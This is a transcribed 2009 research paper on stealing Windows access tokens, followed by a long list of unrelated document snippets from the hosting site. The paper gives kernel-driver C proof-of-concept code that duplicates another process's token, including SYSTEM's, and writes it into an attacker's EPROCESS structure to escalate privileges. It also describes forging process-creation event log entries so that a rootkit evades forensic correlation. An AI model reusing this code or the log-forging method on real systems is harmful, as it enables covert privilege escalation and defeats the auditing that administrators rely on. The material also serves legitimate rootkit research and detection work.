Access token stealing on Windows. Csaba Barta
|
|
|
- Edwina Richardson
- 9 years ago
- Views:
Transcription
1 Access token stealing on Windows Csaba Barta 23. September 2009
2 Table of Contents Access token stealing on Windows...1 Summary...3 Token manipulation in the past...3 New integrity checking features introduced in Vista...3 Token stealing...4 Technical limitations...7 Faking detailed process tracking events...8
3 Summary This document details a technique that can be used to change the privileges of a process by stealing the access tokens of other processes in Microsoft Windows. Token manipulation in the past The well known way of manipulating access tokens was introduced by Greg Hoglund in 2004, and the proof of concept code was published in the famous FU rootkit. This technique modified the memory region pointed to by UserAndGroups and RestrictedSids. This memory region is the dynamic part of the access token. In Windows versions prior to Windows Vista there were no integrity checks on these fields, therefore it was possible to add and remove SIDs. New integrity checking features introduced in Vista In new versions of Windows starting with Vista two new fields appeared in the _TOKEN structure: SidHash and RestrictedSidHash. These two fields contain the hashes of the SIDs stored in the dynamic part of the token in order to prevent accidental or intended modification. The hashes are checked every time the token is used. This results in the fact that the technique developed by Greg Hoglund cannot be used in recent versions of Microsoft Windows.
4 Token stealing One possible way to bypass integrity checks would be to find the kernel code that is responsible for verifying the access token, and patch it. The implementation of this option is heavily version dependent and the new patch protection must be turned off, so an easier and more stable alternative is needed. The _TOKEN structure is linked to the _EPROCESS structure through the Token member which is of the type _EX_FAST_REF. The exact memory address of the _TOKEN structure can be calculated from the value stored in the _EX_FAST_REF field by XOR-ing the value with 0xFFFFFFF8. This is because the last 3 bits of the value are used to keep track of the references on the token object. The _EX_FAST_REF structure looks like the following: Token : struct _EX_FAST_REF, 3 elements, 0x4 bytes +0x000 Object : Ptr32 to +0x000 RefCnt : Bitfield Pos 0, 3 Bits +0x000 Value : Uint4B During research it turned out that currently the token is not exclusively bound to the process object and therefore it is possible to use the access token of other processes by simply modifying the _EX_FAST_REF value in our _EPROCESS structure to the value in the _EPROCESS structure of the victim process. There is a problem regarding this operation that is: after the modification is done, two processes will use the same token object. This means that when our process or the victim exits, the system will free the token object. If the other process tries to use the token or exits, it will immediately result in BSOD. The case when the victim process is the SYSTEM process (the process with PID = 4) is an exception to this. The operating system will be fully functional when another process uses the token of this process, because this is one of the last processes that is to be terminated, and nothing happens if there is problem during termination. To overcome this problem, a copy must be made of the access token of the target process. This can be accomplished by using the ZwDuplicateToken function. After a copy of the desired access token is made, the only thing that is to be done is to exchange the original value of the Token field with the address of the new token. The process will have the same access rights as the victim. Here is the proof of concept code snippet that is capable of stealing the access token of other processes: typedef struct _OSDETAILS //_eprocess structure int NAMEOFFSET; int FLINKOFFSET; int PIDOFFSET; int AUTHIDOFFSET; int PROTECTEDFLAGOFFSET; int THREADOFFSET; int THREADFLINK; int TOKENOFFSET; //_token structure int PRIVCOUNTOFFSET; int PRIVADDROFFSET; int SIDCOUNTOFFSET;
5 int SIDADDROFFSET; int LOCKOFFSET; int VARLENGTHOFFSET; int SESSIONIDOFFSET; int HANDLETABLEOFFSET; //_handle_table structure int HANDLECOUNTOFFSET; int TABLEOFFSET; int HANDLELISTOFFSET; int EPROCPIDOFFSET; //_ethread structure int CIDOFFSET; //others int EPROCSIZE; int KERNELBASE; char DISPATCHER_EPROCESS[2]; OSDETAILS, *POSDETAILS; OSDETAILS osdetails; DWORD FindProcessEPROC (int terminate_pid) DWORD eproc = 0x ; int current_pid = 0; int start_pid = 0; int i_count = 0; PLIST_ENTRY plist_active_procs; if (terminate_pid == 0) return terminate_pid; eproc = (DWORD) gpeproc_system; start_pid = *((DWORD*)(eproc + osdetails.pidoffset)); current_pid = start_pid; while(1) if(terminate_pid == current_pid) return eproc; else if((i_count >= 1) && (start_pid == current_pid)) return 0x ; else plist_active_procs = (LIST_ENTRY *) (eproc + osdetails.flinkoffset); eproc = (DWORD) plist_active_procs->flink; eproc = eproc - osdetails.flinkoffset; current_pid = *((int *)(eproc+osdetails.pidoffset)); i_count++; NTSTATUS StealToken( int dpid, int spid ) NTSTATUS status = STATUS_SUCCESS; ACCESS_STATE astate; char Data[0x100]; PEPROCESS pseproc = NULL; //Victim eprocess HANDLE hseproc = NULL; //Victim process handle PEPROCESS pdeproc = NULL; //New eprocess HANDLE hstoken = NULL; //Victim process's token handle
6 HANDLE hntoken = NULL; //New token handle PVOID pntoken = NULL; //New token address PVOID potoken = NULL; //The original token //Open the source process status = SeCreateAccessState( &astate, Data, STANDARD_RIGHTS_ALL, (PGENERIC_MAPPING)((PCHAR)*PsProcessType + 52) ); if (!NT_SUCCESS(status)) DbgPrint("Error creating access state!!!"); return status; astate.previouslygrantedaccess = astate.remainingdesiredaccess; astate.remainingdesiredaccess = 0; status = PsLookupProcessByProcessId((HANDLE)spid, &pseproc); if (!NT_SUCCESS(status)) SeDeleteAccessState(&aState); return status; status = ObOpenObjectByPointer( pseproc, 0, &astate, 0, *PsProcessType, KernelMode, &hseproc ); SeDeleteAccessState(&aState); ObDereferenceObject(pseproc); //Get handle to the source token status = ZwOpenProcessTokenEx( hseproc, STANDARD_RIGHTS_ALL, OBJ_KERNEL_HANDLE, &hstoken ); if (!NT_SUCCESS(status)) DbgPrint("Opening source token failed!\n"); return status; //Copy the source token status = ZwDuplicateToken( hstoken, TOKEN_ALL_ACCESS, NULL, FALSE, TokenPrimary, &hntoken
7 ); if (!NT_SUCCESS(status)) DbgPrint("Copying source token failed!\n"); return status; //Close the source process and source token handles if (NT_SUCCESS(status)) ZwClose(hstoken); ZwClose(hseproc); //Reference the new token to get the memory address of it status = ObReferenceObjectByHandle( hntoken, STANDARD_RIGHTS_ALL, NULL, KernelMode, &pntoken, NULL ); if (!NT_SUCCESS(status)) DbgPrint("Referencing new token failed!\n"); return status; //Find the target process and link the token in (DWORD)pdeproc = (DWORD)FindProcessEPROC(dpid); if ((DWORD)pdeproc == 0x0) DbgPrint("Destination process (%d) not found!\n", dpid); return STATUS_UNSUCCESSFUL; //Link in the new token *(DWORD *)((DWORD)pdeproc + osdetails.tokenoffset) = (DWORD)pntoken; return STATUS_SUCCESS;
8 Technical limitations The technique in this form has some interesting limitations, which could be eliminated in the future. The first limitation is that creating new processes is only possible if the access token that is to be stolen belongs to a process, which is running on behalf of an account that is member of the Administrators group or on behalf of the SYSTEM account. One other limitation is that if the token belongs to one of the members of the Administrators group, only processes without GUI can be launched. In the case of rootkits these are not critical limitations. The aim of the attacker usually is to gain elevated privileges. This means that stealing the access token from SYSTEM or Administrator is the most usual use case.
9 Faking detailed process tracking events One possible use case is to launch processes on behalf of another process, which is running on behalf of other account. Information used by Windows to create detailed process tacking eventlog entries For assembling the Process creation eventlog entry, the OS uses the access token and process id of the parent process. For assembling the Process termination eventlog entry, the OS uses the access token and PID of the process that is terminating. In order to insert fake eventlog entries we should launch our application (the rootkit client) on behalf of our account. The OS will insert a standard Process creation entry into the eventlog with our PID and account information. Picture 2: Process Creation entry generated when launching rootkit client on behalf of a user Within our rootkit client, before we launch our command, we should steal the PID and access token of the victim process and assign it to our process. After that we should launch the desired command. The OS will then insert a Process creation entry into the eventlog with information that belongs to the victim process. This way the eventlog entry will show that the newly created process was started by the victim process.
10 Picture 3: Process Creation entry generated after token and PID stolen, and new process launched Before terminating our process we should change the above mentioned information (PID and token) back to the original ones. Doing so will result in the OS logging a Process termination event with the original information that belongs to our process and account. Picture 4: Process Termination generated when rootkit client terminates
11 By using this technique, without disassembling the the rootkit client and driver, it won't be possible to correlate the two Process creation events, because of the two different accounts and Creator Process Ids. The newly launched application will inherit the privileges of the victim process.
VICE Catch the hookers! (Plus new rootkit techniques) Jamie Butler Greg Hoglund
VICE Catch the hookers! (Plus new rootkit techniques) Jamie Butler Greg Hoglund Agenda Introduction to Rootkits Where to Hook VICE detection Direct Kernel Object Manipulation (DKOM) No hooking required!
SQL SERVER Anti-Forensics. Cesar Cerrudo
SQL SERVER Anti-Forensics Cesar Cerrudo Introduction Sophisticated attacks requires leaving as few evidence as possible Anti-Forensics techniques help to make forensics investigations difficult Anti-Forensics
VBootKit 2.0 - Attacking Windows 7 via Boot Sectors
VBootKit 2.0 - Attacking Windows 7 via Boot Sectors HITB-Dubai 2009 2009-4-23 Nitin Kumar Security Researcher [email protected] Vipin Kumar Security Researcher [email protected] What we do? Analysing malware
Toasterkit - A NetBSD Rootkit. Anthony Martinez Thomas Bowen http://mrtheplague.net/toasterkit/
Toasterkit - A NetBSD Rootkit Anthony Martinez Thomas Bowen http://mrtheplague.net/toasterkit/ Toasterkit - A NetBSD Rootkit 1. Who we are 2. What is NetBSD? Why NetBSD? 3. Rootkits on NetBSD 4. Architectural
HTC Windows Phone 7 Arbitrary Read/Write of Kernel Memory 10/11/2011
MWR InfoSecurity Advisory HTC Windows Phone 7 Arbitrary Read/Write of Kernel Memory 10/11/2011 Package Name Date 10/11/2011 Affected Versions HTC Windows Phone 7 Phones HTC HD7 confirmed to be vulnerable.
Detecting Malware With Memory Forensics. Hal Pomeranz SANS Institute
Detecting Malware With Memory Forensics Hal Pomeranz SANS Institute Why Memory Forensics? Everything in the OS traverses RAM Processes and threads Malware (including rootkit technologies) Network sockets,
SAPIP GUI INSTALLATION. Table of Contents
QUICK START GUIDE SAPIP GUI INSTALLATION Table of Contents 1. Install CSU cable driver for SapIP..2-3 2. Check for pre-requisite for SAPIP GUI install......2 3. Check for pre-requisite for SAPIP GUI install...2-6
Exploiting Trustzone on Android
1 Introduction Exploiting Trustzone on Android Di Shen(@returnsme) [email protected] This paper tells a real story about exploiting TrustZone step by step. I target an implementation of Trusted Execution
Revealing Embedded Fingerprints: Deriving intelligence from USB stack interactions
Revealing Embedded Fingerprints: Deriving intelligence from USB stack interactions Andy Davis, Research Director NCC Group Image from: p1fran.com UK Offices North American Offices Australian Offices Manchester
Embedded Programming in C/C++: Lesson-1: Programming Elements and Programming in C
Embedded Programming in C/C++: Lesson-1: Programming Elements and Programming in C 1 An essential part of any embedded system design Programming 2 Programming in Assembly or HLL Processor and memory-sensitive
Computer Security: Principles and Practice
Computer Security: Principles and Practice Chapter 24 Windows and Windows Vista Security First Edition by William Stallings and Lawrie Brown Lecture slides by Lawrie Brown Windows and Windows Vista Security
Hacking Database for Owning your Data
Hacking Database for Owning your Data 1 Introduction By Abdulaziz Alrasheed & Xiuwei Yi Stealing data is becoming a major threat. In 2012 alone, 500 fortune companies were compromised causing lots of money
Detecting the Presence of Virtual Machines Using the Local Data Table
Detecting the Presence of Virtual Machines Using the Local Data Table Abstract Danny Quist {[email protected]} Val Smith {[email protected]} Offensive Computing http://www.offensivecomputing.net/
Presentation on Black Hat Europe 2003 Conference. Security Analysis of Microsoft Encrypting File System (EFS) http://www.elcomsoft.
Presentation on Black Hat Europe 2003 Conference Security Analysis of Microsoft Encrypting File System (EFS) Microsoft Encrypting File System Encrypting File File System System (EFS) (EFS) is is a a new
Executable Integrity Verification
Executable Integrity Verification Abstract Background Determining if a given executable has been trojaned is a tedious task. It is beyond the capabilities of the average end user and even many network
CSI 402 Lecture 13 (Unix Process Related System Calls) 13 1 / 17
CSI 402 Lecture 13 (Unix Process Related System Calls) 13 1 / 17 System Calls for Processes Ref: Process: Chapter 5 of [HGS]. A program in execution. Several processes are executed concurrently by the
SECURITY SUBSYSTEM IN WINDOWS
Operating Systems SECURITY SUBSYSTEM IN WINDOWS Zoltán Micskei http://www.mit.bme.hu/~micskeiz Budapesti Műszaki és Gazdaságtudományi Egyetem Neeraj Suri Méréstechnika és Információs Rendszerek Tanszék
Molecular Dynamics Simulations with Applications in Soft Matter Handout 7 Memory Diagram of a Struct
Dr. Martin O. Steinhauser University of Basel Graduate Lecture Spring Semester 2014 Molecular Dynamics Simulations with Applications in Soft Matter Handout 7 Memory Diagram of a Struct Friday, 7 th March
Analysis of the Linux Audit System 1
Analysis of the Linux Audit System 1 Authors Bruno Morisson, MSc (Royal Holloway, 2014) Stephen Wolthusen, ISG, Royal Holloway Overview Audit mechanisms on an operating system (OS) record relevant system
SMTP-32 Library. Simple Mail Transfer Protocol Dynamic Link Library for Microsoft Windows. Version 5.2
SMTP-32 Library Simple Mail Transfer Protocol Dynamic Link Library for Microsoft Windows Version 5.2 Copyright 1994-2003 by Distinct Corporation All rights reserved Table of Contents 1 Overview... 5 1.1
Chapter 3: Operating-System Structures. System Components Operating System Services System Calls System Programs System Structure Virtual Machines
Chapter 3: Operating-System Structures System Components Operating System Services System Calls System Programs System Structure Virtual Machines Operating System Concepts 3.1 Common System Components
Patch Assessment Content Update Release Notes for CCS 11.0. Version: 2012-2 Update
Patch Assessment Content Update Release Notes for CCS 11.0 Version: 2012-2 Update Patch Assessment Content Update 2012-2 Release Notes for CCS 11.0 Legal Notice Copyright 2012 Symantec Corporation. All
Security+ Guide to Network Security Fundamentals, Third Edition. Chapter 7 Access Control Fundamentals
Security+ Guide to Network Security Fundamentals, Third Edition Chapter 7 Access Control Fundamentals Objectives Define access control and list the four access control models Describe logical access control
A Hypervisor IPS based on Hardware assisted Virtualization Technology
A Hypervisor IPS based on Hardware assisted Virtualization Technology 1. Introduction Junichi Murakami ([email protected]) Fourteenforty Research Institute, Inc. Recently malware has become more
1) The postfix expression for the infix expression A+B*(C+D)/F+D*E is ABCD+*F/DE*++
Answer the following 1) The postfix expression for the infix expression A+B*(C+D)/F+D*E is ABCD+*F/DE*++ 2) Which data structure is needed to convert infix notations to postfix notations? Stack 3) The
RTI Database Integration Service. Getting Started Guide
RTI Database Integration Service Getting Started Guide Version 5.2.0 2015 Real-Time Innovations, Inc. All rights reserved. Printed in U.S.A. First printing. June 2015. Trademarks Real-Time Innovations,
Using a Patched Vulnerability to Bypass Windows 8 x64 Driver Signature Enforcement. MJ0011 [email protected]
Using a Patched Vulnerability to Bypass Windows 8 x64 Driver Signature Enforcement MJ0011 [email protected] Agenda Background A Patched Vulnerability: CVE-2010-4398 Bypass DSE on Windows7 x64 Windows8
Recipe for Mobile Data Security: TPM, Bitlocker, Windows Vista and Active Directory
Recipe for Mobile Data Security: TPM, Bitlocker, Windows Vista and Active Directory Tom Olzak October 2007 If your business is like mine, laptops regularly disappear. Until recently, centrally managed
CSE543 - Introduction to Computer and Network Security. Module: Reference Monitor
CSE543 - Introduction to Computer and Network Security Module: Reference Monitor Professor Trent Jaeger 1 Living with Vulnerabilities So, software is potentially vulnerable In a variety of ways So, how
1 Posix API vs Windows API
1 Posix API vs Windows API 1.1 File I/O Using the Posix API, to open a file, you use open(filename, flags, more optional flags). If the O CREAT flag is passed, the file will be created if it doesnt exist.
This text refers to the 32bit version of Windows, unfortunately I don't have access to a 64bit development environment.
Windows 7/2008 Event Log forensic and reversing analysis eseugutrop Reversed 2011/03/16 by ar1vr This text refers to the 32bit version of Windows, unfortunately I don't have access to a 64bit development
The Value of Physical Memory for Incident Response
The Value of Physical Memory for Incident Response MCSI 3604 Fair Oaks Blvd Suite 250 Sacramento, CA 95864 www.mcsi.mantech.com 2003-2015 ManTech Cyber Solutions International, All Rights Reserved. Physical
Trustworthy Computing
Stefan Thom Senior Software Development Engineer and Security Architect for IEB, Microsoft Rob Spiger, Senior Security Strategist Trustworthy Computing Agenda Windows 8 TPM Scenarios Hardware Choices with
MITA End-User VPN Troubleshooting Guide
01. Introduction MITA VPN users can be assigned one of two types of profiles Client-Based or Web-Based, depending on the type of access required. When logging on to the MITA VPN Portal https://vpn.secure.gov.mt,
Chapter 3: Operating-System Structures. Common System Components
Chapter 3: Operating-System Structures System Components Operating System Services System Calls System Programs System Structure Virtual Machines System Design and Implementation System Generation 3.1
EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.
CENTER FOR ADVANCED SECURITY TRAINING 619 Advanced SQLi Attacks and Countermeasures Make The Difference About Center of Advanced Security Training () The rapidly evolving information security landscape
Setting Up Database Security with Access 97
Setting Up Database Security with Access 97 The most flexible and extensive method of securing a database is called user-level security. This form of security is similar to methods used in most network
HP Compaq dc7800p Business PC with Intel vpro Processor Technology and Virtual Appliances
HP Compaq dc7800p Business PC with Intel vpro Processor Technology and Virtual Appliances Introduction............................................................ 2 What is Virtualization?....................................................2
WA2102 Web Application Programming with Java EE 6 - WebSphere 8.5 - RAD 8.5. Classroom Setup Guide. Web Age Solutions Inc. Web Age Solutions Inc.
WA2102 Web Application Programming with Java EE 6 - WebSphere 8.5 - RAD 8.5 Classroom Setup Guide Web Age Solutions Inc. Web Age Solutions Inc. 1 Table of Contents Part 1 - Minimum Hardware Requirements...3
Logitech for Business Webcam Software
Logitech for Business Webcam Software June 18 2009 Logitech, Inc. Copyright/trademark notice (c) 2009 Logitech Inc. All rights reserved. Logitech, the Logitech logo and other Logitech marks are owned by
EASRestoreService. Manual
Manual Introduction EAS is a powerful Archiving Solution for Microsoft Exchange, Lotus Notes, Sharepoint and Windows based File systems. As one of the Top 5 Enterprise Archiving Solutions worldwide is
Applying the Principle of Least Privilege to Windows 7
1 Applying the Principle of Least Privilege to Windows 7 2 Copyright Notice The information contained in this document ( the Material ) is believed to be accurate at the time of printing, but no representation
Coding Rules. Encoding the type of a function into the name (so-called Hungarian notation) is forbidden - it only confuses the programmer.
Coding Rules Section A: Linux kernel style based coding for C programs Coding style for C is based on Linux Kernel coding style. The following excerpts in this section are mostly taken as is from articles
Not agree with bug 3, precision actually was. 8,5 not set in the code. Not agree with bug 3, precision actually was
Task 1 Task 2 Task 3 Feedback Presence SUM Matrikkel Rühm [5] [1] [2] [1] [1] [10] Feedback to students A64129 1. rühm 0 0 No submission found A72068 1. rühm 5 1 2 1 1 For Bug 3. Actually the variable
Legal Notes. Regarding Trademarks. Models supported by the KX printer driver. 2011 KYOCERA MITA Corporation
Legal Notes Unauthorized reproduction of all or part of this guide is prohibited. The information in this guide is subject to change without notice. We cannot be held liable for any problems arising from
Windows security for n00bs part 1 Security architecture & Access Control
Grenoble INP Ensimag _ (in)security we trust _!! SecurIMAG 2011-05-12 Windows security for n00bs part 1 Security architecture & Access Control Description: whether you are in favor or against it, the Windows
Information Security Threat Trends
Talk @ Microsoft Security Day Sep 2005 Information Security Threat Trends Mr. S.C. Leung 梁 兆 昌 Senior Consultant 高 級 顧 問 CISSP CISA CBCP M@PISA Email: [email protected] 香 港 電 腦 保 安 事 故 協 調 中 心 Introducing
MCAFEE FOUNDSTONE FSL UPDATE
MCAFEE FOUNDSTONE FSL UPDATE 2012-JUN-13 To better protect your environment McAfee has created this FSL check update for the Foundstone Product Suite. The following is a detailed summary of the new and
IOActive Security Advisory
IOActive Security Advisory Title Severity Discovered by CVE Lenovo s System Update Uses a Predictable Security Token High Michael Milvich [email protected] Sofiane Talmat [email protected]
Hotpatching and the Rise of Third-Party Patches
Hotpatching and the Rise of Third-Party Patches Alexander Sotirov [email protected] BlackHat USA 2006 Overview In the next one hour, we will cover: Third-party security patches _ recent developments
SQL Injection January 23, 2013
Web-based Attack: SQL Injection SQL Injection January 23, 2013 Authored By: Stephanie Reetz, SOC Analyst Contents Introduction Introduction...1 Web applications are everywhere on the Internet. Almost Overview...2
TEL2821/IS2150: INTRODUCTION TO SECURITY Lab: Operating Systems and Access Control
TEL2821/IS2150: INTRODUCTION TO SECURITY Lab: Operating Systems and Access Control Version 3.4, Last Edited 9/10/2011 Students Name: Date of Experiment: Read the following guidelines before working in
Spyware Analysis. [email protected]. Security Event - April 28, 2004 Page 1
Spyware Analysis [email protected] Security Event - April 28, 2004 Page 1 Content Definition & types of spyware Statistics Hooks Static vs. dynamic software analysis Test environment for spyware Analysis
EaseVault File System Filter SDK Manual
Introduction File system filter driver A file system filter driver intercepts requests targeted at a file system or another file system filter driver. By intercepting the request before it reaches its
Protecting Data with Short- Lived Encryption Keys and Hardware Root of Trust. Dan Griffin DefCon 2013
Protecting Data with Short- Lived Encryption Keys and Hardware Root of Trust Dan Griffin DefCon 2013 Time-Bound Keys Announcements New tool: TimedKey.exe New whitepaper: Trusted Tamperproof Time on Mobile
Kernel comparison of OpenSolaris, Windows Vista and. Linux 2.6
Kernel comparison of OpenSolaris, Windows Vista and Linux 2.6 The idea of writing this paper is evoked by Max Bruning's view on Solaris, BSD and Linux. The comparison of advantages and disadvantages among
Basic Import Utility User Guide
2013 Basic Import Utility User Guide PERPETUAL INNOVATION Lenel OnGuard 2013 Basic Import Utility User Guide, product version 6.6 This guide is item number DOC-101, revision 3.003, July 2012 Copyright
Stacks. Linear data structures
Stacks Linear data structures Collection of components that can be arranged as a straight line Data structure grows or shrinks as we add or remove objects ADTs provide an abstract layer for various operations
How to Install Applications (APK Files) on Your Android Phone
How to Install Applications (APK Files) on Your Android Phone Overview An Android application is stored in an APK file (i.e., a file named by {Application Name}.apk). You must install the APK on your Android
www.securityxploded.com
Disclaimer The Content, Demonstration, Source Code and Programs presented here is "AS IS" without any warranty or conditions of any kind. Also the views/ideas/knowledge expressed here are solely of the
System Security Fundamentals
System Security Fundamentals Alessandro Barenghi Dipartimento di Elettronica, Informazione e Bioingegneria Politecnico di Milano alessandro.barenghi - at - polimi.it April 28, 2015 Lesson contents Overview
Making the difference between read to output, and read to copy GOING BEYOND BASIC FILE AUDITING FOR DATA PROTECTION
Making the difference between read to output, and read to copy GOING BEYOND BASIC FILE AUDITING FOR DATA PROTECTION MOST OF THE IMPORTANT DATA LOSS VECTORS DEPEND ON COPYING files in order to compromise
CS3600 SYSTEMS AND NETWORKS
CS3600 SYSTEMS AND NETWORKS NORTHEASTERN UNIVERSITY Lecture 2: Operating System Structures Prof. Alan Mislove ([email protected]) Operating System Services Operating systems provide an environment for
Application Whitelisting - Extend your Security Arsenal? Mike Baldi Cyber Security Architect Honeywell Process Solutions
Application Whitelisting - Extend your Security Arsenal? Mike Baldi Cyber Security Architect Honeywell Process Solutions 1 Agenda What is Application Whitelisting (AWL) Protection provided by Application
Logitech Webcam Drivers
Logitech Webcam Drivers April 5 th, 2010 Logitech, Inc. Copyright/trademark notice (c) 2010 Logitech Inc. All rights reserved. Logitech, the Logitech logo and other Logitech marks are owned by Logitech
Violating Database - Enforced Security Mechanisms
Violating Database - Enforced Security Mechanisms Runtime Patching Exploits in SQL Server 2000: a case study Chris Anley [[email protected]] 18/06/2002 An NGSSoftware Insight Security Research (NISR)
Introduction. Figure 1 Schema of DarunGrim2
Reversing Microsoft patches to reveal vulnerable code Harsimran Walia Computer Security Enthusiast 2011 Abstract The paper would try to reveal the vulnerable code for a particular disclosed vulnerability,
Output: 12 18 30 72 90 87. struct treenode{ int data; struct treenode *left, *right; } struct treenode *tree_ptr;
50 20 70 10 30 69 90 14 35 68 85 98 16 22 60 34 (c) Execute the algorithm shown below using the tree shown above. Show the exact output produced by the algorithm. Assume that the initial call is: prob3(root)
Linux Driver Devices. Why, When, Which, How?
Bertrand Mermet Sylvain Ract Linux Driver Devices. Why, When, Which, How? Since its creation in the early 1990 s Linux has been installed on millions of computers or embedded systems. These systems may
Chapter 15 Operating System Security
Operating Systems: Internals and Design Principles Chapter 15 Operating System Security Eighth Edition By William Stallings System Access Threats System access threats fall into two general categories:
System Calls and Standard I/O
System Calls and Standard I/O Professor Jennifer Rexford http://www.cs.princeton.edu/~jrex 1 Goals of Today s Class System calls o How a user process contacts the Operating System o For advanced services
MCTS Guide to Microsoft Windows 7. Chapter 7 Windows 7 Security Features
MCTS Guide to Microsoft Windows 7 Chapter 7 Windows 7 Security Features Objectives Describe Windows 7 Security Improvements Use the local security policy to secure Windows 7 Enable auditing to record security
CryptoAPI. Labs. Daniil Leksin
CryptoAPI Labs Daniil Leksin Structure CryptoAPI CSP (Cryptography Service Provider) CA Working with CryptoAPI, CSP, CA: algorithms, block-schemes and examples CryptoAPI CryptoAPI (Cryptographic Application
ICTN 4040. Enterprise Database Security Issues and Solutions
Huff 1 ICTN 4040 Section 001 Enterprise Information Security Enterprise Database Security Issues and Solutions Roger Brenton Huff East Carolina University Huff 2 Abstract This paper will review some of
Installing Booked scheduler on CentOS 6.5
Installing Booked scheduler on CentOS 6.5 This guide will assume that you already have CentOS 6.x installed on your computer, I did a plain vanilla Desktop install into a Virtual Box VM for this test,
VISA SECURITY ALERT December 2015 KUHOOK POINT OF SALE MALWARE. Summary. Distribution and Installation
VISA SECURITY ALERT December 2015 KUHOOK POINT OF SALE MALWARE Distribution: Merchants, Acquirers Who should read this: Information security, incident response, cyber intelligence staff Summary Kuhook
BM482E Introduction to Computer Security
BM482E Introduction to Computer Security Lecture 7 Database and Operating System Security Mehmet Demirci 1 Summary of Lecture 6 User Authentication Passwords Password storage Password selection Token-based
RE:Open for SQL Anywhere. Installation Guide. RE:Open for SQL Anywhere Installation Guide 1
RE:Open for SQL Anywhere Installation Guide RE:Open for SQL Anywhere Installation Guide 1 Pre-Installation Considerations Close all other Windows applications before running the installation. Your Raiser
Operating System Structures
COP 4610: Introduction to Operating Systems (Spring 2015) Operating System Structures Zhi Wang Florida State University Content Operating system services User interface System calls System programs Operating
KASPERSKY FRAUD PREVENTION FOR ENDPOINTS
KASPERSKY FRAUD PREVENTION FOR ENDPOINTS www.kaspersky.com 2 Fraud Prevention for Endpoints KASPERSKY FRAUD PREVENTION 1. Ways of Attacking The prime motive behind cybercrime is making money, and today
Virtuozzo Virtualization SDK
Virtuozzo Virtualization SDK Programmer's Guide February 18, 2016 Copyright 1999-2016 Parallels IP Holdings GmbH and its affiliates. All rights reserved. Parallels IP Holdings GmbH Vordergasse 59 8200
A+ Guide to Managing and Maintaining Your PC, 7e. Chapter 16 Fixing Windows Problems
A+ Guide to Managing and Maintaining Your PC, 7e Chapter 16 Fixing Windows Problems Objectives Learn what to do when a hardware device, application, or Windows component gives a problem Learn what to do
Computer Systems II. Unix system calls. fork( ) wait( ) exit( ) How To Create New Processes? Creating and Executing Processes
Computer Systems II Creating and Executing Processes 1 Unix system calls fork( ) wait( ) exit( ) 2 How To Create New Processes? Underlying mechanism - A process runs fork to create a child process - Parent
Deposit Direct. Getting Started Guide
Deposit Direct Getting Started Guide Table of Contents Before You Start... 3 Installing the Deposit Direct application for use with Microsoft Windows Vista... 4 Running Programs in Microsoft Windows Vista...
ADO and SQL Server Security
ADO and SQL Server Security Security is a growing concern in the Internet/intranet development community. It is a constant trade off between access to services and data, and protection of those services
Adjusting Prevention Policy Options Based on Prevention Events. Version 1.0 July 2006
Adjusting Prevention Policy Options Based on Prevention Events Version 1.0 July 2006 Table of Contents 1. WHO SHOULD READ THIS DOCUMENT... 4 2. WHERE TO GET MORE INFORMATION... 4 3. VERIFYING THE OPERATION
Criteria for web application security check. Version 2015.1
Criteria for web application security check Version 2015.1 i Content Introduction... iii ISC- P- 001 ISC- P- 001.1 ISC- P- 001.2 ISC- P- 001.3 ISC- P- 001.4 ISC- P- 001.5 ISC- P- 001.6 ISC- P- 001.7 ISC-
Integrated Virtual Debugger for Visual Studio Developer s Guide VMware Workstation 8.0
Integrated Virtual Debugger for Visual Studio Developer s Guide VMware Workstation 8.0 This document supports the version of each product listed and supports all subsequent versions until the document
Migrating from Sybase to SQL Server
Migrating from to Table of Contents: Migrating from to Data Compatibility Mode Behavior Optimizer Hints Conclusion Migrating from to Projects involving database migration are common. In this article, we
SQL Server Anti- Forensics: Techniques and Countermeasures
SQL Server Anti- Forensics: Techniques and Countermeasures Researched and compiled by: Cesar Cerrudo Edited by: Josh Shaul Abstract: Database hacking has gone mainstream. Criminals recognize that large
Firmware security features in HP Compaq business notebooks
HP ProtectTools Firmware security features in HP Compaq business notebooks Embedded security overview... 2 Basics of protection... 2 Protecting against unauthorized access user authentication... 3 Pre-boot
ZeroAccess. James Wyke. SophosLabs UK
ZeroAccess James Wyke SophosLabs UK Abstract ZeroAccess is a sophisticated kernel-mode rootkit that is rapidly becoming one of the most widespread threats in the current malware ecosystem. ZeroAccess ability
SY0-201. system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users.
system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users. From a high-level standpoint, attacks on computer systems and networks can be grouped
